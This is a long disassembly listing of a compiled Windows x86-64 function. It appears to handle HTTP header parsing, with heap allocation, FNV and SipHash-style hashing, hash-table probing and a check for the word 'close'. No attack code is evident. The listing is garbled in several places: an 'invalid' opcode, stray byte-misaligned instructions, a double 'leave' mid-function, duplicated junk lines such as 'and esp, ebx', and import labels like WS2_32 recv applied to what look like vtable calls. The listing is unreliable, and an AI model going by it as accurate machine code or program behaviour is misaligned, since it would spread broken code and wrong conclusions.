add rdx, rbx
and rdx, r8
test rdx, r9
jne 0x14008bcdb
mov rdx, qword [rsp + rax + 0x358]
mov r8, rdx
not r8
add rdx, rbx
and rdx, r8
test rdx, r9
jne 0x14008bcdb
add rax, 0x10
cmp rax, rcx
jbe 0x14008bca0
cmp rax, rsi
je 0x14008bcf6
cmp byte [rsp + rax + 0x350], 0
je 0x14008df8c
inc rax
cmp rsi, rax
jne 0x14008bce0
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008bd1f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e3e3
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e3e3
mov rcx, rax
mov rdi, rax
mov rdx, r12
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
mov r9, rdi
or r9, 1
test dl, 1
cmovne r9, rdi
lea rax, [0x1401a9370]
lea rcx, [0x1401a9358]
cmove rax, rcx
mov r8, rsi
jmp 0x14008be0c
mov r14, rdx
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008bd9e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e515
mov qword [0x140215360], rax
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e515
mov r9, rax
add rbx, rsi
mov rdx, r14
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], 1
lea rax, [0x140169c10]
jmp 0x14008bdf5
lea rdx, [0x140204680]
xor r9d, r9d
xor edi, edi
lea rax, [0x1401d3af8]
jmp 0x14008bdf5
lea rax, [0x1401a9370]
mov qword [rsp + 0x2b8], rsi
mov r8, rdi
sub r8, rsi
jb 0x14008e55c
add rdx, rsi
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x280], rdx
mov qword [rsp + 0x1e8], rdx
mov qword [rsp + 0x278], r8
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x270], r9
mov qword [rsp + 0x1f8], r9
mov r8, qword [rsi + 0x10]
mov r9, qword [rsi + 0x18]
mov rcx, r12
lea rdx, [rsp + 0x1c0]
call fcn.14008eb40
mov rcx, qword [rsp + 0x350]
test rcx, rcx
je 0x14008e422
mov rbx, qword [rsp + 0x358]
mov rdi, qword [rsp + 0x360]
mov rax, qword [rsp + 0x368]
cmp qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1a8], rcx
jne 0x14008bf13
cmp byte [rsp + 0x1e8], 0x14
jne 0x14008bf13
test byte [rsp + 0x70], 1
jne 0x14008bee4
mov rcx, rbx
mov rdx, rdi
call fcn.140087760
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1b0], rdi
cmp dword [rsp + 0xb0], 3
jne 0x14008bf31
jmp 0x14008ccfe
xor eax, eax
nop word cs:[rax + rax]
cmp rdi, rax
je 0x14008c14a
movzx ecx, byte [rbx + rax]
inc rax
cmp cl, 9
je 0x14008bef0
add cl, 0xe0
cmp cl, 0x5f
jb 0x14008bef0
mov al, 1
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1b0], rdi
cmp dword [rsp + 0xb0], 3
je 0x14008ccfe
mov r8, qword [rsi]
mov r9, qword [rsi + 8]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x1c0]
call fcn.14008eb40
mov rbx, qword [rsp + 0xe8]
cmp dword [rsp + 0xb0], 1
jne 0x14008bfc0
test rbx, rbx
js 0x14008c270
cvtsi2ss xmm0, rbx
mov r15, qword [rsp + 0xd0]
test r15, r15
jns 0x14008c298
mov rax, r15
shr rax, 1
mov ecx, r15d
and ecx, 1
or rcx, rax
cvtsi2ss xmm1, rcx
addss xmm1, xmm1
divss xmm0, xmm1
ucomiss xmm0, xmm8
jb 0x14008c2ab
mov qword [rsp + 0xb0], 0
add r15, r15
lea rcx, [rsp + 0xb0]
mov rdx, r15
jmp 0x14008bfee
mov rdx, qword [rsp + 0xd0]
mov rax, rdx
shr rax, 2
mov rcx, rdx
sub rcx, rax
cmp rbx, rcx
jne 0x14008bff3
test rbx, rbx
je 0x14008c5db
add rdx, rdx
lea rcx, [rsp + 0xb0]
call fcn.14008eca0
mov r10, qword [rsp + 0xb0]
cmp r10, 2
mov qword [rsp + 0x268], r10
jne 0x14008c0bb
movdqu xmm0, xmmword [rsp + 0xb8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm9
movdqa xmmword [rsp + 0x350], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm10
movdqa xmmword [rsp + 0x360], xmm1
movdqa xmmword [rsp + 0x370], xmm0
lea rax, [rsp + 0x380]
movdqa xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov r14, qword [rsp + 0x1e0]
xor eax, eax
test r14, r14
setne al
mov qword [rsp + 0x110], rax
mov r8d, 8
lea rsi, [rsp + 0x350]
mov rcx, rsi
lea rdi, [rsp + 0x110]
mov rdx, rdi
call fcn.140006000
mov rbx, r14
test r14, r14
je 0x14008c491
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
mov rcx, rsi
mov qword [rsp + 0x68], rdx
jmp 0x14008c4b2
mov r11, qword [rsp + 0x1e0]
xor esi, esi
test r11, r11
setne sil
movabs rax, 0xcbf29ce484222325
xor rsi, rax
movabs rax, 0x1efac7090aef4a21
imul rsi, rax
test r11, r11
je 0x14008c5bf
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x1f0]
test r8, r8
je 0x14008c7c7
mov rcx, r8
and rcx, 7
je 0x14008c740
mov rax, qword [rsp + 0x68]
movabs r9, 0x100000001b3
nop word [rax + rax]
movzx edx, byte [rax]
inc rax
xor rdx, rsi
imul rdx, r9
mov rsi, rdx
dec rcx
jne 0x14008c130
jmp 0x14008c752
mov qword [rsp + 0x350], 0
mov qword [rsp + 0x358], rdi
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], rdi
mov qword [rsp + 0x370], 0
mov qword [rsp + 0x378], rdi
mov qword [rsp + 0x380], 1
movabs rax, 0x2c0000002c
mov qword [rsp + 0x388], rax
mov word [rsp + 0x390], 1
nop word [rax + rax]
mov rcx, r12
call fcn.140087900
test rax, rax
je 0x14008bf0d
mov rcx, rax
call fcn.140087c70
cmp rdx, 5
jne 0x14008c1b0
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14008c1b0
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6c
jne 0x14008c1b0
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6f
jne 0x14008c1b0
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x14008c1b0
movzx eax, byte [rax + 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x14008c1b0
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1b0], rdi
cmp dword [rsp + 0xb0], 3
jne 0x14008bf31
jmp 0x14008ccfe
mov rax, rbx
shr rax, 1
mov ecx, ebx
and ecx, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
mov r15, qword [rsp + 0xd0]
test r15, r15
js 0x14008bf7e
cvtsi2ss xmm1, r15
divss xmm0, xmm1
ucomiss xmm0, xmm8
jae 0x14008bfa4
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x70], 0
jne 0x14008c2cd
call fcn.140077390
mov qword [rsp + 0xb0], 2
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0x78]
inc qword [rax + 0x78]
movups xmmword [rsp + 0xb8], xmm0
mov rsi, qword [rsp + 0xc8]
test r15, r15
je 0x14008c36f
lea rcx, [r15 - 1]
movabs rax, 0x3fffffffffffffff
and rcx, rax
mov rax, rsi
cmp rcx, 7
jb 0x14008c359
inc rcx
mov rdx, rcx
and rdx, 0xfffffffffffffff8
lea rax, [rsi + rdx*4]
xor r8d, r8d
nop word [rax + rax]
movups xmmword [rsi + r8*4], xmm7
movups xmmword [rsi + r8*4 + 0x10], xmm7
add r8, 8
cmp rdx, r8
jne 0x14008c340
cmp rcx, rdx
je 0x14008c36f
lea rcx, [rsi + r15*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x14008c360
test rbx, rbx
je 0x14008bff3
mov rdi, qword [rsp + 0xd8]
lea rax, [rbx + rbx*2]
shl rax, 5
add rax, rdi
mov qword [rsp + 0x40], rax
movzx ebp, word [rsp + 0x108]
movzx r14d, bp
xor r12d, r12d
jmp 0x14008c3c8
mov word [rsi + rcx*4], r13w
mov rdx, rcx
mov word [rsi + rdx*4 + 2], ax
cmp rdi, qword [rsp + 0x40]
je 0x14008bff3
mov r13, r12
mov rbx, rdi
add rdi, 0x60
inc r12
lea rdx, [rbx + 0x38]
lea rcx, [rsp + 0xb0]
call fcn.14006e510
mov r8d, r14d
and r8d, eax
mov word [rbx + 0x58], ax
xor edx, edx
nop word cs:[rax + rax]
mov rcx, r8
mov r8d, 0
cmp rcx, r15
jae 0x14008c400
cmp word [rsi + rcx*4], 0xffff
je 0x14008c3b0
movzx r8d, word [rsi + rcx*4 + 2]
mov r9d, ebp
and r9d, r8d
mov r8d, ecx
sub r8d, r9d
mov r9d, r14d
and r9d, r8d
cmp r9, rdx
jb 0x14008c460
inc rdx
inc rcx
mov r8, rcx
jmp 0x14008c400
movzx r8d, word [rsi + rdx*4 + 2]
mov word [rsi + rdx*4], r13w
mov word [rsi + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov r13d, ecx
mov rcx, rdx
nop dword [rax]
mov rdx, rcx
mov ecx, 0
cmp rdx, r15
jae 0x14008c460
movzx ecx, word [rsi + rdx*4]
cmp cx, 0xffff
jne 0x14008c43d
mov word [rsi + rdx*4], r13w
mov word [rsi + rdx*4 + 2], ax
cmp rdi, qword [rsp + 0x40]
jne 0x14008c3c8
jmp 0x14008bff3
movzx eax, byte [rsp + 0x1e8]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x110], rax
mov r8d, 8
mov rcx, rsi
mov rdx, rdi
call fcn.140006000
mov rax, qword [rsp + 0x360]
mov r9, qword [rsp + 0x380]
shl r9, 0x38
or r9, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x368]
mov r8, qword [rsp + 0x350]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x358]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov rsi, rdx
shr rsi, 0x20
xor rsi, rdx
xor rsi, rax
mov r11, rbx
jmp 0x14008c7c7
movzx ecx, byte [rsp + 0x1e8]
mov qword [rsp + 0x68], rcx
xor rsi, rcx
imul rsi, rax
xor r11d, r11d
jmp 0x14008c7c7
mov word [rsp + 0x108], 7
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008c60e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e5f4
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e5f4
mov rdi, rax
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
cmp qword [rsp + 0xd0], 0
je 0x14008c654
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 8
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14008c691
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14008e605
mov qword [0x140215360], rax
mov r8d, 0x240
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14008e605
mov rdi, rax
mov rbx, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe8]
test rsi, rsi
je 0x14008c6fe
lea r14, [rbx + 0x30]
jmp 0x14008c6e4
mov rax, qword [r14 - 0x18]
mov rdx, qword [r14 - 0x10]
mov r8, qword [r14 - 8]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_recv]
add r14, 0x60
dec rsi
je 0x14008c6fe
mov rax, qword [r14 + 8]
test rax, rax
je 0x14008c6c9
lea rcx, [r14 + 0x20]
mov rdx, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14008c6c9
cmp qword [rsp + 0xe0], 0
je 0x14008c71b
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe0], 6
mov qword [rsp + 0xe8], 0
jmp 0x14008bff3
mov rdx, rsi
mov rax, qword [rsp + 0x68]
movabs r9, 0x100000001b3
cmp r8, 8
jb 0x14008c7c4
mov rcx, qword [rsp + 0x68]
add rcx, r8
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 5]
mov dh, 0x50
add eax, 0x49c2314c
imul edx, ecx
mov dh, 0x50
add eax, 0x49c2314c
imul edx, ecx
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r9
imul eax, ecx
imul eax, ecx
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r9
cmp rax, rcx
jne 0x14008c760
mov rsi, rdx
and esi, 0x7fff
movzx ebx, word [rsp + 0x108]
mov r12d, esi
and r12d, ebx
and esp, ebx
and esp, ebx
mov r13, qword [rsp + 0xc8]
mov r15, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xd8]
mov r10, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x40], rax
xor edi, edi
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x228], r9
mov qword [rsp + 0x220], r10
jmp 0x14008c846
mov rcx, qword [rsp + 0x68]
cmp byte [rax + 8], cl
je 0x14008c911
nop
inc rdi
inc r12
mov rax, r12
mov eax, esp
nop dword [rax]
mov r12, rax
mov eax, 0
cmp r12, r15
jae 0x14008c850
movzx r14d, word [r13 + r12*4]
cmp r14, 0xffff
je 0x14008c9cd
movzx eax, word [r13 + r12*4 + 2]
mov ecx, ebx
and ecx, eax
mov r8d, r12d
sub r8d, ecx
mov ecx, ebx
and ecx, r8d
cmp rcx, rdi
cmp ecx, edi
cmp ecx, edi
jb 0x14008ca2f
cmp ax, si
jne 0x14008c840
cmp rdx, r14
jbe 0x14008e1d7
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rbp - 0x7b], cl
fisttp dword [rdi]
xchg esp, eax
ror byte [rbx - 0x73], 0x2c
jbe 0x14008c8ef
test r11, r11
sete al
lea rbp, [r14 + r14*2]
shl rbp, 5
shl ebp, 5
mov rcx, qword [r9 + rbp + 0x38]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x14008c840
lea rax, [r9 + rbp]
add rax, 0x38
test rcx, rcx
leave
leave
je 0x14008c831
mov rcx, qword [rsp + 0x40]
cmp qword [rax + 0x10], rcx
jne 0x14008c840
mov rcx, qword [rax + 8]
mov rdx, r10
mov r8, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcmp
mov r10, qword [rsp + 0x220]
mov r9, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x58]
and al, 0x20
add al, byte [rax]
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x28
add al, byte [rax]
add byte [rax - 0x75], cl
push rsp
and al, 0x58
mov r11, qword [rsp + 0x230]
test eax, eax
jne 0x14008c840
lea rsi, [r9 + rbp]
cmp qword [r9 + rbp], 0
je 0x14008d38f
mov rdi, qword [rsi + 0x10]
mov rbx, qword [rsp + 0x100]
mov rdx, rbx
cmp rbx, qword [rsp + 0xf8]
jne 0x14008c951
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call fcn.14008f030
mov rdx, qword [rsp + 0x100]
mov rax, qword [rsp + 0xf0]
mov rcx, rdx
shl rcx, 6
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rdi
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r14
movups xmm0, xmmword [rsp + 0x80]
movupd xmm1, xmmword [rsp + 0x90]
movups xmmword [rax + rcx + 0x20], xmm0
movupd xmmword [rax + rcx + 0x30], xmm1
inc rdx
mov qword [rsp + 0x100], rdx
cmp rdi, rdx
jae 0x14008e303
shl rdi, 6
mov qword [rax + rdi + 0x10], 1
mov qword [rax + rdi + 0x18], rbx
mov qword [rsi], 1
mov qword [rsi + 0x10], rbx
jmp 0x14008ccf9
test r11, r11
je 0x14008caaa
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x1f8]
add dword [rax], eax
add byte [rbp - 0x77], cl
ror byte [rcx + rcx*4 - 0x31], 1
mov r9, qword [rsp + 0x40]
call qword [r11]
mov r9, rdi
mov rdx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x350]
movzx r10d, byte [rsp + 0x358]
lea rax, [rsp + 0x380]
movups xmm0, xmmword [rax - 0x27]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rax - 0x18]
mov eax, dword [rax - 0x18]
mov qword [rsp + 0x11f], rax
jmp 0x14008caac
cmp rdi, 0x200
setae r14b
cmp dword [rsp + 0x268], 2
setne bl
test r11, r11
je 0x14008cb9b
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x1f8]
mov r8, r10
mov rdi, r9
mov r9, qword [rsp + 0x40]
call qword [r11]
mov r9, rdi
mov rdx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x350]
movzx r10d, byte [rsp + 0x358]
lea rax, [rsp + 0x380]
movups xmm0, xmmword [rax - 0x27]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rax - 0x18]
mov qword [rsp + 0x11f], rax
jmp 0x14008cb9d
xor edi, edi
mov rax, qword [rsp + 0x11f]
mov qword [rsp + 0x35f], rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x350], xmm0
cmp rdx, 0x7fff
ja 0x14008e3c9
mov rax, rdx
cmp rdx, qword [rsp + 0xe0]
jne 0x14008cb16
lea rcx, [rsp + 0xd8]
mov rbx, r10
call fcn.14008f0f0
mov r10, rbx
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xd0]
mov r9, qword [rsp + 0xd8]
lea rcx, [rax + rax*2]
shl rcx, 5
mov qword [r9 + rcx], 0
movups xmm0, xmmword [rsp + 0x80]
movupd xmm1, xmmword [rsp + 0x90]
movups xmmword [r9 + rcx + 0x18], xmm0
movupd xmmword [r9 + rcx + 0x28], xmm1
mov qword [r9 + rcx + 0x38], rdi
mov byte [r9 + rcx + 0x40], r10b
movaps xmm0, xmmword [rsp + 0x350]
movups xmmword [r9 + rcx + 0x41], xmm0
mov r8, qword [rsp + 0x35f]
mov qword [r9 + rcx + 0x50], r8
mov word [r9 + rcx + 0x58], si
inc rax
mov qword [rsp + 0xe8], rax
cmp r12, r15
jae 0x14008e2a7
mov rax, qword [rsp + 0xc8]
mov word [rax + r12*4], dx
mov word [rax + r12*4 + 2], si
jmp 0x14008ccf9
xor edi, edi
mov rax, qword [rsp + 0x11f]
mov qword [rsp + 0x35f], rax
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x350], xmm0
cmp rdx, 0x7fff
ja 0x14008e3c9
mov rax, rdx
cmp rdx, qword [rsp + 0xe0]
jne 0x14008cc0f
lea rcx, [rsp + 0xd8]
mov r15, r10
call fcn.14008f0f0
mov r10, r15
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0xe8]
mov r9, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xc8]
mov r15, qword [rsp + 0xd0]
and r14b, bl
lea rcx, [rax + rax*2]
shl rcx, 5
mov qword [r9 + rcx], 0
movups xmm0, xmmword [rsp + 0x80]
movupd xmm1, xmmword [rsp + 0x90]
movups xmmword [r9 + rcx + 0x18], xmm0
movupd xmmword [r9 + rcx + 0x28], xmm1
mov qword [r9 + rcx + 0x38], rdi
mov byte [r9 + rcx + 0x40], r10b
movaps xmm0, xmmword [rsp + 0x350]
movups xmmword [r9 + rcx + 0x41], xmm0
mov r8, qword [rsp + 0x35f]
mov qword [r9 + rcx + 0x50], r8
mov word [r9 + rcx + 0x58], si
inc rax
mov qword [rsp + 0xe8], rax
xor eax, eax
nop dword [rax + rax]
mov rcx, r12
mov r12d, 0
cmp rcx, r15
jae 0x14008cc80
movzx r9d, word [r13 + rcx*4]
cmp r9w, 0xffff
je 0x14008ccbe
inc rax
movzx r8d, word [r13 + rcx*4 + 2]
mov word [r13 + rcx*4], dx
mov word [r13 + rcx*4 + 2], si
inc rcx
mov esi, r8d
mov edx, r9d
mov r12, rcx
jmp 0x14008cc80
mov word [r13 + rcx*4], dx
mov word [r13 + rcx*4 + 2], si
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test r14b, r14b
cmovne rcx, rdx
mov qword [rsp + 0xb0], rcx
mov rsi, qword [rsp + 0x30]
add rsi, 0x20
mov qword [rsp + 0x30], rsi
movups xmm0, xmmword [rsp + 0x1e0]
movupd xmm1, xmmword [rsp + 0x1f0]
movapd xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rsi, [rsp + 0x140]
mov rcx, rsi
call fcn.140088910
mov rcx, rsi
lea rdx, [rsp + 0x80]
call fcn.14006e510
mov ebp, eax
movzx r14d, word [rsp + 0x198]
mov r12d, ebp
and r12d, r14d
mov rsi, qword [rsp + 0x158]
mov r13, qword [rsp + 0x160]
mov r9, qword [rsp + 0x178]
mov r10, qword [rsp + 0x168]
mov r8, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x228], rax
movzx r11d, byte [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x230], r8
mov byte [rsp + 0x220], r11b
jmp 0x14008cdd6
cmp byte [rax + 8], r11b
je 0x14008ce9d
inc rbx
inc r12
mov rax, r12
nop dword [rax]
mov r12, rax
mov eax, 0
cmp r12, r13
jae 0x14008cde0
movzx edi, word [rsi + r12*4]
cmp rdi, 0xffff
je 0x14008cf9c
movzx eax, word [rsi + r12*4 + 2]
mov ecx, r14d
and ecx, eax
mov edx, r12d
sub edx, ecx
mov ecx, r14d
and ecx, edx
cmp rcx, rbx
jb 0x14008d0c6
cmp ax, bp
jne 0x14008cdd0
cmp r9, rdi
jbe 0x14008e162
test r8, r8
sete al
imul r15, rdi, 0x68
mov rcx, qword [r10 + r15 + 0x40]
test rcx, rcx
setne dl
cmp dl, al
je 0x14008cdd0
lea rax, [r10 + r15]
add rax, 0x40
test rcx, rcx
je 0x14008cdc6
mov rcx, qword [rsp + 0x40]
cmp qword [rax + 0x10], rcx
jne 0x14008cdd0
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x228]
mov r8, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcmp
movzx r11d, byte [rsp + 0x220]
mov r8, qword [rsp + 0x230]
mov r10, qword [rsp + 0x68]
mov r9, qword [rsp + 0x58]
test eax, eax
jne 0x14008cdd0
lea rsi, [r10 + r15]
cmp qword [r10 + r15], 0
je 0x14008d289
mov rbx, qword [rsi + 0x10]
mov r14, qword [rsp + 0x190]
mov rdx, r14
cmp r14, qword [rsp + 0x188]
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
jne 0x14008ceec
lea rcx, [rsp + 0x180]
mov rdx, r14
call fcn.14006cfd0
mov rdx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x180]
lea rcx, [rdx + rdx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rdi
mov r8, qword [rsp + 0x1a8]
mov qword [rax + rcx*8 + 0x20], r8
mov r8, qword [rsp + 0x1a0]
mov qword [rax + rcx*8 + 0x28], r8
mov r8, qword [rsp + 0x1b0]
mov qword [rax + rcx*8 + 0x30], r8
mov r8, qword [rsp + 0x1b8]
mov qword [rax + rcx*8 + 0x38], r8
mov byte [rax + rcx*8 + 0x40], 0
mov r8d, dword [rsp + 0x110]
mov r9d, dword [rsp + 0x113]
mov dword [rax + rcx*8 + 0x41], r8d
mov dword [rax + rcx*8 + 0x44], r9d
inc rdx
mov qword [rsp + 0x190], rdx
cmp rbx, rdx
jae 0x14008e2d0
lea rcx, [rbx + rbx*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], r14
mov qword [rsi], 1
mov qword [rsi + 0x10], r14
jmp 0x14008d359
cmp r9, 0x7fff
ja 0x14008e3c9
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
mov rax, r9
cmp r9, qword [rsp + 0x170]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x1b0]
mov rbx, qword [rsp + 0x1a0]
jne 0x14008d018
lea rcx, [rsp + 0x168]
mov rdx, r9
call fcn.140088850
mov r9, qword [rsp + 0x58]
mov rax, qword [rsp + 0x178]
mov r13, qword [rsp + 0x160]
mov r10, qword [rsp + 0x168]
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
mov rdx, qword [rsp + 0x1a8]
mov qword [r10 + rcx + 0x18], rdx
mov qword [r10 + rcx + 0x20], rbx
mov qword [r10 + rcx + 0x28], rdi
mov rdx, qword [rsp + 0x1b8]
mov qword [r10 + rcx + 0x30], rdx
mov byte [r10 + rcx + 0x38], 0
mov edx, dword [rsp + 0x110]
mov r8d, dword [rsp + 0x113]
mov dword [r10 + rcx + 0x39], edx
mov dword [r10 + rcx + 0x3c], r8d
movaps xmm0, xmmword [rsp + 0x350]
movapd xmm1, xmmword [rsp + 0x360]
movups xmmword [r10 + rcx + 0x40], xmm0
movupd xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], bp
inc rax
mov qword [rsp + 0x178], rax
cmp r12, r13
jae 0x14008e293
mov rax, qword [rsp + 0x158]
mov word [rax + r12*4], r9w
mov word [rax + r12*4 + 2], bp
lea r12, [rsp + 0x350]
lea r13, [0x1401d563b]
jmp 0x14008d276
cmp rbx, 0x200
setae dil
cmp qword [rsp + 0x140], 2
setne bl
movaps xmm0, xmmword [rsp + 0x80]
movapd xmm1, xmmword [rsp + 0x90]
movapd xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
cmp r9, 0x7fff
ja 0x14008e3c9
mov rax, r9
cmp r9, qword [rsp + 0x170]
jne 0x14008d14e
lea rcx, [rsp + 0x168]
mov rdx, r9
call fcn.140088850
mov r9, qword [rsp + 0x58]
mov rax, qword [rsp + 0x178]
mov r10, qword [rsp + 0x168]
mov rsi, qword [rsp + 0x158]
mov r13, qword [rsp + 0x160]
and dil, bl
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
mov rdx, qword [rsp + 0x1a8]
mov qword [r10 + rcx + 0x18], rdx
mov rdx, qword [rsp + 0x1a0]
